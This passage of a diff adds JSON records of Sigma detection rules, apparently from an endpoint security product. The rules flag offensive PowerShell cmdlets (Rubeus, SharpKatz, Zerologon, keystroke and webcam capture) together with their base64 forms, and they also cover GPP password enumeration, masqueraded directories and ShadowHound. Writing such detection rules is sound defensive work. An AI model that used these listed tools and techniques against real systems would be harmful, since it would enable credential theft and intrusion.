'Invoke-NanoDump'\n            - 'SW52b2tlLU5hbm9EdW1w'\n            - 'ludm9rZS1OYW5vRHVtc'\n            - 'JbnZva2UtTmFub0R1bX'\n            # Invoke-OxidResolver\n            - 'Invoke-OxidResolver'\n            - 'SW52b2tlLU94aWRSZXNvbHZlc'\n            - 'ludm9rZS1PeGlkUmVzb2x2ZX'\n            - 'JbnZva2UtT3hpZFJlc29sdmVy'\n            # Invoke-P0wnedshell\n            - 'Invoke-P0wnedshell'\n            - 'SW52b2tlLVAwd25lZHNoZWxs'\n            - 'ludm9rZS1QMHduZWRzaGVsb'\n            - 'JbnZva2UtUDB3bmVkc2hlbG'\n            # Invoke-PPLDump\n            - 'Invoke-PPLDump'\n            - 'SW52b2tlLVBQTER1bX'\n            - 'ludm9rZS1QUExEdW1w'\n            - 'JbnZva2UtUFBMRHVtc'\n            # Invoke-Rubeus\n            - 'Invoke-Rubeus'\n            - 'SW52b2tlLVJ1YmV1c'\n            - 'ludm9rZS1SdWJldX'\n            - 'JbnZva2UtUnViZXVz'\n            # Invoke-SCShell\n            - 'Invoke-SCShell'\n            - 'SW52b2tlLVNDU2hlbG'\n            - 'ludm9rZS1TQ1NoZWxs'\n            - 'JbnZva2UtU0NTaGVsb'\n            # Invoke-SafetyKatz\n            - 'Invoke-SafetyKatz'\n            - 'SW52b2tlLVNhZmV0eUthdH'\n            - 'ludm9rZS1TYWZldHlLYXR6'\n            - 'JbnZva2UtU2FmZXR5S2F0e'\n            # Invoke-SauronEye\n            - 'Invoke-SauronEye'\n            - 'SW52b2tlLVNhdXJvbkV5Z'\n            - 'ludm9rZS1TYXVyb25FeW'\n            - 'JbnZva2UtU2F1cm9uRXll'\n            # Invoke-Seatbelt\n            - 'Invoke-Seatbelt'\n            - 'SW52b2tlLVNlYXRiZWx0'\n            - 'ludm9rZS1TZWF0YmVsd'\n            - 'JbnZva2UtU2VhdGJlbH'\n            # Invoke-ShadowSpray\n            - 'Invoke-ShadowSpray'\n            - 'SW52b2tlLVNoYWRvd1NwcmF5'\n            - 'ludm9rZS1TaGFkb3dTcHJhe'\n            - 'JbnZva2UtU2hhZG93U3ByYX'\n            # Invoke-SharPersist\n            - 'Invoke-SharPersist'\n            - 'SW52b2tlLVNoYXJQZXJzaXN0'\n            - 'ludm9rZS1TaGFyUGVyc2lzd'\n            - 'JbnZva2UtU2hhclBlcnNpc3'\n            # Invoke-SharpAllowedToAct\n            - 'Invoke-SharpAllowedToAct'\n            - 'SW52b2tlLVNoYXJwQWxsb3dlZFRvQWN0'\n            - 'ludm9rZS1TaGFycEFsbG93ZWRUb0Fjd'\n            - 'JbnZva2UtU2hhcnBBbGxvd2VkVG9BY3'\n            # Invoke-SharpBlock\n            - 'Invoke-SharpBlock'\n            - 'SW52b2tlLVNoYXJwQmxvY2'\n            - 'ludm9rZS1TaGFycEJsb2Nr'\n            - 'JbnZva2UtU2hhcnBCbG9ja'\n            # Invoke-SharpBypassUAC\n            - 'Invoke-SharpBypassUAC'\n            - 'SW52b2tlLVNoYXJwQnlwYXNzVUFD'\n            - 'ludm9rZS1TaGFycEJ5cGFzc1VBQ'\n            - 'JbnZva2UtU2hhcnBCeXBhc3NVQU'\n            # Invoke-SharpChromium\n            - 'Invoke-SharpChromium'\n            - 'SW52b2tlLVNoYXJwQ2hyb21pdW'\n            - 'ludm9rZS1TaGFycENocm9taXVt'\n            - 'JbnZva2UtU2hhcnBDaHJvbWl1b'\n            # Invoke-SharpClipboard\n            - 'Invoke-SharpClipboard'\n            - 'SW52b2tlLVNoYXJwQ2xpcGJvYXJk'\n            - 'ludm9rZS1TaGFycENsaXBib2FyZ'\n            - 'JbnZva2UtU2hhcnBDbGlwYm9hcm'\n            # Invoke-SharpCloud\n            - 'Invoke-SharpCloud'\n            - 'SW52b2tlLVNoYXJwQ2xvdW'\n            - 'ludm9rZS1TaGFycENsb3Vk'\n            - 'JbnZva2UtU2hhcnBDbG91Z'\n            # Invoke-SharpDPAPI\n            - 'Invoke-SharpDPAPI'\n            - 'SW52b2tlLVNoYXJwRFBBUE'\n            - 'ludm9rZS1TaGFycERQQVBJ'\n            - 'JbnZva2UtU2hhcnBEUEFQS'\n            # Invoke-SharpDump\n            - 'Invoke-SharpDump'\n            - 'SW52b2tlLVNoYXJwRHVtc'\n            - 'ludm9rZS1TaGFycER1bX'\n            - 'JbnZva2UtU2hhcnBEdW1w'\n            # Invoke-SharpGPO-RemoteAccessPolicies\n            - 'Invoke-SharpGPO-RemoteAccessPolicies'\n            - 'SW52b2tlLVNoYXJwR1BPLVJlbW90ZUFjY2Vzc1BvbGljaWVz'\n            - 'ludm9rZS1TaGFycEdQTy1SZW1vdGVBY2Nlc3NQb2xpY2llc'\n            - 'JbnZva2UtU2hhcnBHUE8tUmVtb3RlQWNjZXNzUG9saWNpZX'\n            # Invoke-SharpGPOAbuse\n            - 'Invoke-SharpGPOAbuse'\n            - 'SW52b2tlLVNoYXJwR1BPQWJ1c2'\n            - 'ludm9rZS1TaGFycEdQT0FidXNl'\n            - 'JbnZva2UtU2hhcnBHUE9BYnVzZ'\n            # Invoke-SharpHandler\n            - 'Invoke-SharpHandler'\n            - 'SW52b2tlLVNoYXJwSGFuZGxlc'\n            - 'ludm9rZS1TaGFycEhhbmRsZX'\n            - 'JbnZva2UtU2hhcnBIYW5kbGVy'\n            # Invoke-SharpHide\n            - 'Invoke-SharpHide'\n            - 'SW52b2tlLVNoYXJwSGlkZ'\n            - 'ludm9rZS1TaGFycEhpZG'\n            - 'JbnZva2UtU2hhcnBIaWRl'\n            # Invoke-SharpImpersonation\n            - 'Invoke-SharpImpersonation'\n            - 'SW52b2tlLVNoYXJwSW1wZXJzb25hdGlvb'\n            - 'ludm9rZS1TaGFycEltcGVyc29uYXRpb2'\n            - 'JbnZva2UtU2hhcnBJbXBlcnNvbmF0aW9u'\n            # Invoke-SharpImpersonationNoSpace\n            - 'Invoke-SharpImpersonationNoSpace'\n            - 'SW52b2tlLVNoYXJwSW1wZXJzb25hdGlvbk5vU3BhY2'\n            - 'ludm9rZS1TaGFycEltcGVyc29uYXRpb25Ob1NwYWNl'\n            - 'JbnZva2UtU2hhcnBJbXBlcnNvbmF0aW9uTm9TcGFjZ'\n            # Invoke-SharpKatz\n            - 'Invoke-SharpKatz'\n            - 'SW52b2tlLVNoYXJwS2F0e'\n            - 'ludm9rZS1TaGFycEthdH'\n            - 'JbnZva2UtU2hhcnBLYXR6'\n            # Invoke-SharpLdapRelayScan\n            - 'Invoke-SharpLdapRelayScan'\n            - 'SW52b2tlLVNoYXJwTGRhcFJlbGF5U2Nhb'\n            - 'ludm9rZS1TaGFycExkYXBSZWxheVNjYW'\n            - 'JbnZva2UtU2hhcnBMZGFwUmVsYXlTY2Fu'\n            # Invoke-SharpLoginPrompt\n            - 'Invoke-SharpLoginPrompt'\n            - 'SW52b2tlLVNoYXJwTG9naW5Qcm9tcH'\n            - 'ludm9rZS1TaGFycExvZ2luUHJvbXB0'\n            - 'JbnZva2UtU2hhcnBMb2dpblByb21wd'\n            # Invoke-SharpMove\n            - 'Invoke-SharpMove'\n            - 'SW52b2tlLVNoYXJwTW92Z'\n            - 'ludm9rZS1TaGFycE1vdm'\n            - 'JbnZva2UtU2hhcnBNb3Zl'\n            # Invoke-SharpPrintNightmare\n            - 'Invoke-SharpPrintNightmare'\n            - 'SW52b2tlLVNoYXJwUHJpbnROaWdodG1hcm'\n            - 'ludm9rZS1TaGFycFByaW50TmlnaHRtYXJl'\n            - 'JbnZva2UtU2hhcnBQcmludE5pZ2h0bWFyZ'\n            # Invoke-SharpPrinter\n            - 'Invoke-SharpPrinter'\n            - 'SW52b2tlLVNoYXJwUHJpbnRlc'\n            - 'ludm9rZS1TaGFycFByaW50ZX'\n            - 'JbnZva2UtU2hhcnBQcmludGVy'\n            # Invoke-SharpRDP\n            - 'Invoke-SharpRDP'\n            - 'SW52b2tlLVNoYXJwUkRQ'\n            - 'ludm9rZS1TaGFycFJEU'\n            - 'JbnZva2UtU2hhcnBSRF'\n            # Invoke-SharpSCCM\n            - 'Invoke-SharpSCCM'\n            - 'SW52b2tlLVNoYXJwU0NDT'\n            - 'ludm9rZS1TaGFycFNDQ0'\n            - 'JbnZva2UtU2hhcnBTQ0NN'\n            # Invoke-SharpSSDP\n            - 'Invoke-SharpSSDP'\n            - 'SW52b2tlLVNoYXJwU1NEU'\n            - 'ludm9rZS1TaGFycFNTRF'\n            - 'JbnZva2UtU2hhcnBTU0RQ'\n            # Invoke-SharpSecDump\n            - 'Invoke-SharpSecDump'\n            - 'SW52b2tlLVNoYXJwU2VjRHVtc'\n            - 'ludm9rZS1TaGFycFNlY0R1bX'\n            - 'JbnZva2UtU2hhcnBTZWNEdW1w'\n            # Invoke-SharpSniper\n            - 'Invoke-SharpSniper'\n            - 'SW52b2tlLVNoYXJwU25pcGVy'\n            - 'ludm9rZS1TaGFycFNuaXBlc'\n            - 'JbnZva2UtU2hhcnBTbmlwZX'\n            # Invoke-SharpSploit\n            - 'Invoke-SharpSploit'\n            - 'SW52b2tlLVNoYXJwU3Bsb2l0'\n            - 'ludm9rZS1TaGFycFNwbG9pd'\n            - 'JbnZva2UtU2hhcnBTcGxvaX'\n            # Invoke-SharpSpray\n            - 'Invoke-SharpSpray'\n            - 'SW52b2tlLVNoYXJwU3ByYX'\n            - 'ludm9rZS1TaGFycFNwcmF5'\n            - 'JbnZva2UtU2hhcnBTcHJhe'\n            # Invoke-SharpStay\n            - 'Invoke-SharpStay'\n            - 'SW52b2tlLVNoYXJwU3Rhe'\n            - 'ludm9rZS1TaGFycFN0YX'\n            - 'JbnZva2UtU2hhcnBTdGF5'\n            # Invoke-SharpUp\n            - 'Invoke-SharpUp'\n            - 'SW52b2tlLVNoYXJwVX'\n            - 'ludm9rZS1TaGFycFVw'\n            - 'JbnZva2UtU2hhcnBVc'\n            # Invoke-SharpWSUS\n            - 'Invoke-SharpWSUS'\n            - 'SW52b2tlLVNoYXJwV1NVU'\n            - 'ludm9rZS1TaGFycFdTVV'\n            - 'JbnZva2UtU2hhcnBXU1VT'\n            # Invoke-SharpWatson\n            - 'Invoke-SharpWatson'\n            - 'SW52b2tlLVNoYXJwV2F0c29u'\n            - 'ludm9rZS1TaGFycFdhdHNvb'\n            - 'JbnZva2UtU2hhcnBXYXRzb2'\n            # Invoke-Sharphound\n            - 'Invoke-Sharphound'\n            - 'SW52b2tlLVNoYXJwaG91bm'\n            - 'ludm9rZS1TaGFycGhvdW5k'\n            - 'JbnZva2UtU2hhcnBob3VuZ'\n            # Invoke-Sharplocker\n            - 'Invoke-Sharplocker'\n            - 'SW52b2tlLVNoYXJwbG9ja2Vy'\n            - 'ludm9rZS1TaGFycGxvY2tlc'\n            - 'JbnZva2UtU2hhcnBsb2NrZX'\n            # Invoke-Sharpshares\n            - 'Invoke-Sharpshares'\n            - 'SW52b2tlLVNoYXJwc2hhcmVz'\n            - 'ludm9rZS1TaGFycHNoYXJlc'\n            - 'JbnZva2UtU2hhcnBzaGFyZX'\n            # Invoke-Sharpview\n            - 'Invoke-Sharpview'\n            - 'SW52b2tlLVNoYXJwdmlld'\n            - 'ludm9rZS1TaGFycHZpZX'\n            - 'JbnZva2UtU2hhcnB2aWV3'\n            # Invoke-Sharpweb\n            - 'Invoke-Sharpweb'\n            - 'SW52b2tlLVNoYXJwd2Vi'\n            - 'ludm9rZS1TaGFycHdlY'\n            - 'JbnZva2UtU2hhcnB3ZW'\n            # Invoke-Snaffler\n            - 'Invoke-Snaffler'\n            - 'SW52b2tlLVNuYWZmbGVy'\n            - 'ludm9rZS1TbmFmZmxlc'\n            - 'JbnZva2UtU25hZmZsZX'\n            # Invoke-Spoolsample\n            - 'Invoke-Spoolsample'\n            - 'SW52b2tlLVNwb29sc2FtcGxl'\n            - 'ludm9rZS1TcG9vbHNhbXBsZ'\n            - 'JbnZva2UtU3Bvb2xzYW1wbG'\n            # Invoke-StandIn\n            - 'Invoke-StandIn'\n            - 'SW52b2tlLVN0YW5kSW'\n            - 'ludm9rZS1TdGFuZElu'\n            - 'JbnZva2UtU3RhbmRJb'\n            # Invoke-StickyNotesExtract\n            - 'Invoke-StickyNotesExtract'\n            - 'SW52b2tlLVN0aWNreU5vdGVzRXh0cmFjd'\n            - 'ludm9rZS1TdGlja3lOb3Rlc0V4dHJhY3'\n            - 'JbnZva2UtU3RpY2t5Tm90ZXNFeHRyYWN0'\n            # Invoke-TotalExec\n            - 'Invoke-TotalExec'\n            - 'SW52b2tlLVRvdGFsRXhlY'\n            - 'ludm9rZS1Ub3RhbEV4ZW'\n            - 'JbnZva2UtVG90YWxFeGVj'\n            # Invoke-Thunderfox\n            - 'Invoke-Thunderfox'\n            - 'SW52b2tlLVRodW5kZXJmb3'\n            - 'ludm9rZS1UaHVuZGVyZm94'\n            - 'JbnZva2UtVGh1bmRlcmZve'\n            # Invoke-Tokenvator\n            - 'Invoke-Tokenvator'\n            - 'SW52b2tlLVRva2VudmF0b3'\n            - 'ludm9rZS1Ub2tlbnZhdG9y'\n            - 'JbnZva2UtVG9rZW52YXRvc'\n            # Invoke-UrbanBishop\n            - 'Invoke-UrbanBishop'\n            - 'SW52b2tlLVVyYmFuQmlzaG9w'\n            - 'ludm9rZS1VcmJhbkJpc2hvc'\n            - 'JbnZva2UtVXJiYW5CaXNob3'\n            # Invoke-Whisker\n            - 'Invoke-Whisker'\n            - 'SW52b2tlLVdoaXNrZX'\n            - 'ludm9rZS1XaGlza2Vy'\n            - 'JbnZva2UtV2hpc2tlc'\n            # Invoke-WireTap\n            - 'Invoke-WireTap'\n            - 'SW52b2tlLVdpcmVUYX'\n            - 'ludm9rZS1XaXJlVGFw'\n            - 'JbnZva2UtV2lyZVRhc'\n            # Invoke-winPEAS\n            - 'Invoke-winPEAS'\n            - 'SW52b2tlLXdpblBFQV'\n            - 'ludm9rZS13aW5QRUFT'\n            - 'JbnZva2Utd2luUEVBU'\n            # Invoke-Zerologon\n            - 'Invoke-Zerologon'\n            - 'SW52b2tlLVplcm9sb2dvb'\n            - 'ludm9rZS1aZXJvbG9nb2'\n            - 'JbnZva2UtWmVyb2xvZ29u'\n            # Get-USBKeystrokes\n            - 'Get-USBKeystrokes'\n            - 'R2V0LVVTQktleXN0cm9rZX'\n            - 'dldC1VU0JLZXlzdHJva2Vz'\n            - 'HZXQtVVNCS2V5c3Ryb2tlc'\n            # Start-WebcamRecorder\n            - 'Start-WebcamRecorder'\n            - 'U3RhcnQtV2ViY2FtUmVjb3JkZX'\n            - 'N0YXJ0LVdlYmNhbVJlY29yZGVy'\n            - 'TdGFydC1XZWJjYW1SZWNvcmRlc'\n            # Invoke-OfficeScrape\n            - 'Invoke-OfficeScrape'\n            - 'SW52b2tlLU9mZmljZVNjcmFwZ'\n            - 'ludm9rZS1PZmZpY2VTY3JhcG'\n            - 'JbnZva2UtT2ZmaWNlU2NyYXBl'\n            # Invoke-DomainPasswordSpray\n            - 'Invoke-DomainPasswordSpray'\n            - 'SW52b2tlLURvbWFpblBhc3N3b3JkU3ByYX'\n            - 'ludm9rZS1Eb21haW5QYXNzd29yZFNwcmF5'\n            - 'JbnZva2UtRG9tYWluUGFzc3dvcmRTcHJhe'\n            # Invoke-SpraySinglePassword\n            - 'Invoke-SpraySinglePassword'\n            - 'SW52b2tlLVNwcmF5U2luZ2xlUGFzc3dvcm'\n            - 'ludm9rZS1TcHJheVNpbmdsZVBhc3N3b3Jk'\n            - 'JbnZva2UtU3ByYXlTaW5nbGVQYXNzd29yZ'\n\n    exclusion_tsmanager:\n        # C:\\Windows\\CCM\\TSManager.exe\n        - ParentCommandLine:\n            - '*smsswd.exe*/run:*powershell*Invoke-WmiMethod -Namespace root\\CCM -Class SMS_Client -Name SetClientProvisioningMode -ArgumentList $false}*'\n            - '*smsswd.exe*/run:*powershell*Invoke-WmiMethod -Namespace root\\CCM -Class SMS_Client -Name TriggerSchedule*{00000000-0000-0000-0000-000000000001}*'\n        - ProcessAncestors|contains: '?:\\Windows\\CCM\\TSManager.exe'\n        - CommandLine|contains:\n            - ' -Class sms_client -Name TriggerSchedule {00000000-0000-0000-0000-000000000021}'\n            - \" -Class SMS_Client -Name TriggerSchedule '{00000000-0000-0000-0000-000000000021}'\"\n\n    exclusion_configmgr:\n        CommandLine:\n            - '*Powershell.exe Invoke-WmiMethod -Namespace root\\CCM -Class SMS_Client -Name SetClientProvisioningMode -ArgumentList $false'\n            - '*powershell.exe Invoke-WmiMethod -Namespace root\\CCM -Class SMS_Client -Name SetClientProvisioningMode -ArgumentList False'\n\n    exclusion_ltsvc:\n        CommandLine: 'powershell.exe -command & {(invoke-wmimethod -path ((get-wmiobject -class win32_volume -filter \"name=??:\\\\\\\\?\").__PATH) -name defraganalysis).defraganalysis}'\n        ParentImage: '?:\\Windows\\LTSvc\\LTSVC.exe'\n\n    # Veritas malware scanning utility: https://www.veritas.com/support/en_US/article.100053050\n    exclusion_veritas:\n        CommandLine: '?:\\windows\\system32\\cmd.exe /c powershell.exe (Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList \"?:\\malware*\\nbmalwareutil.exe *\").ProcessId'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e0fe5da5-765a-4b7d-9af5-6b711030daa3",
+  "rule_name": "Malicious PowerShell Commandlets in Command-line",
+  "rule_description": "Detects various malicious commandlets in PowerShell's command-line, generally associated with online repositories containing attack codes to perform memory-only attacks.\nAttackers may use various PowerShell frameworks as they are easily installed and offer a very large panel of interactive functionnalities.\nIt is recommended to analyze the executed PowerShell script as well as the ancestors of the host process to determine whether this action is legitimate.\n",
+  "rule_creation_date": "2021-03-05",
+  "rule_modified_date": "2026-02-23",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1125",
+    "attack.t1562.001",
+    "attack.t1562.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e178bd0c-a726-4ff0-9d5e-5269ca43c04b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626315Z",
+  "creation_date": "2026-03-23T11:45:34.626317Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626321Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mindpointgroup.com/blog/privilege-escalation-via-group-policy-preferences-gpp",
+    "https://obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html",
+    "https://github.com/nettitude/PoshC2/blob/master/resources/modules/PrivescCheck.ps1",
+    "https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70",
+    "https://attack.mitre.org/techniques/T1552/006/"
+  ],
+  "name": "t1552_006_gpp_passwords_powershell.yml",
+  "content": "title: GPP Passwords in Sysvol Enumerated via PowerShell\nid: e178bd0c-a726-4ff0-9d5e-5269ca43c04b\ndescription: |\n    Detects PowerShell commands that may be used to enumerate Group Policy Preferences (GPP) passwords.\n    GPP allows for configuration of Domain-attached machines via group policy. Domain machines periodically authenticate to the Domain Controller utilizing the Domain credentials of the logged-in user. Group Policies for account management are stored on the Domain Controller in XML files in the SYSVOL folder.\n    Policies that contain the \"cpassword\" field will set the password for the contained account. This field is encrypted with an AES 32-bit key, which is the same for all Windows systems and is publically available.\n    Attackers may enumerate these files to acquire domain passwords for further lateral movement.\n    It is recommended to investigate this activity and check the SYSVOL folder for any affected accounts, as well as to hunt for any authentications to affected accounts after this alert.\nreferences:\n    - https://www.mindpointgroup.com/blog/privilege-escalation-via-group-policy-preferences-gpp\n    - https://obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html\n    - https://github.com/nettitude/PoshC2/blob/master/resources/modules/PrivescCheck.ps1\n    - https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70\n    - https://attack.mitre.org/techniques/T1552/006/\ndate: 2025/12/31\nmodified: 2026/01/07\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.006\n    - attack.t1552.001\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        ScriptBlockText|contains: '.cpassword'\n\n    exclusion_schtasks:\n        ProcessParentCommandLine: '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e178bd0c-a726-4ff0-9d5e-5269ca43c04b",
+  "rule_name": "GPP Passwords in Sysvol Enumerated via PowerShell",
+  "rule_description": "Detects PowerShell commands that may be used to enumerate Group Policy Preferences (GPP) passwords.\nGPP allows for configuration of Domain-attached machines via group policy. Domain machines periodically authenticate to the Domain Controller utilizing the Domain credentials of the logged-in user. Group Policies for account management are stored on the Domain Controller in XML files in the SYSVOL folder.\nPolicies that contain the \"cpassword\" field will set the password for the contained account. This field is encrypted with an AES 32-bit key, which is the same for all Windows systems and is publically available.\nAttackers may enumerate these files to acquire domain passwords for further lateral movement.\nIt is recommended to investigate this activity and check the SYSVOL folder for any affected accounts, as well as to hunt for any authentications to affected accounts after this alert.\n",
+  "rule_creation_date": "2025-12-31",
+  "rule_modified_date": "2026-01-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1552.001",
+    "attack.t1552.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e17a52d2-26d0-4183-a68c-db872a7939ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086528Z",
+  "creation_date": "2026-03-23T11:45:34.086530Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086534Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1036.005/T1036.005.md#atomic-test-1---execute-a-process-from-a-directory-masquerading-as-the-current-parent-directory",
+    "https://attack.mitre.org/techniques/T1036/005/"
+  ],
+  "name": "t1036_005_match_legitimate_name_or_location.yml",
+  "content": "title: Parent Directory Masqueraded\nid: e17a52d2-26d0-4183-a68c-db872a7939ec\ndescription: |\n    Detects a potential attempt to masquerade filenames or locations to match legitimate ones for the sake of evading defenses and observation.\n    In this case, attackers can create a directory masquerading as the parent directory.\n    It is recommended to determine if the executed binary is legitimate as well as to investigate the context of this execution.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1036.005/T1036.005.md#atomic-test-1---execute-a-process-from-a-directory-masquerading-as-the-current-parent-directory\n    - https://attack.mitre.org/techniques/T1036/005/\ndate: 2022/12/26\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.005\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.DefenseEvasion\n    - classification.Linux.Behavior.Masquerading\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|contains: '/.../'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e17a52d2-26d0-4183-a68c-db872a7939ec",
+  "rule_name": "Parent Directory Masqueraded",
+  "rule_description": "Detects a potential attempt to masquerade filenames or locations to match legitimate ones for the sake of evading defenses and observation.\nIn this case, attackers can create a directory masquerading as the parent directory.\nIt is recommended to determine if the executed binary is legitimate as well as to investigate the context of this execution.\n",
+  "rule_creation_date": "2022-12-26",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e1adb17f-fb63-4bea-9ae9-71dd16550fbc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605225Z",
+  "creation_date": "2026-03-23T11:45:34.605229Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605236Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Friends-Security/ShadowHound",
+    "https://blog.fndsec.net/2024/11/25/shadowhound/",
+    "https://attack.mitre.org/techniques/T1018/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1018_shadowhound_execution.yml",
+  "content": "title: ShadowHound PowerShell Script Executed\nid: e1adb17f-fb63-4bea-9ae9-71dd16550fbc\ndescription: |\n    Detects the usage of ShadowHound, a tool written in PowerShell that leverages native ADWS or LDAP features for Active Directory enumeration.\n    This tool allows attackers to gather significant information about the Active Directory environment, possibly revealing hidden relationships to further perform attacks within the environment.\n    It is recommended to analyze the execution context of the script to determine its legitimacy.\nreferences:\n    - https://github.com/Friends-Security/ShadowHound\n    - https://blog.fndsec.net/2024/11/25/shadowhound/\n    - https://attack.mitre.org/techniques/T1018/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2024/11/26\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.discovery\n    - attack.t1018\n    - attack.t1482\n    - attack.t1615\n    - attack.t1201\n    - attack.t1069.001\n    - attack.t1069.002\n    - attack.t1033\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.HackTool.ShadowHound\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection_ad_module:\n        - PowershellScriptPath|endswith: '\\ShadowHound-ADM.ps1'\n        - PowershellCommand|contains|all:\n            - 'Process-AdObject'\n            - 'Perform-ADQuery'\n            - 'Get-TopLevelContainers'\n            - 'Write-Output \"Objects have been processed and written to $OutputFilePath\"'\n            - 'Write-Output \"[+] Found $($topLevelContainers.Count) top-level containers.\"'\n            - \"Write-Output '[+] Executing with the following parameters:'\"\n            - '$TopLevelContainers = Get-ADObject @topLevelParams '\n            - '$objectClassMapping = @{'\n            - 'Write-Output \"[*] Enumerating PKI objects under $configContext...\"'\n\n    selection_ds_module:\n        - PowershellScriptPath|endswith: '\\ShadowHound-DS.ps1'\n        - PowershellCommand|contains|all:\n            - 'Process-AdObject'\n            - 'Write-Output \"Objects have been processed and written to $OutputFile\"'\n            - \"Write-Output '[+] Executing 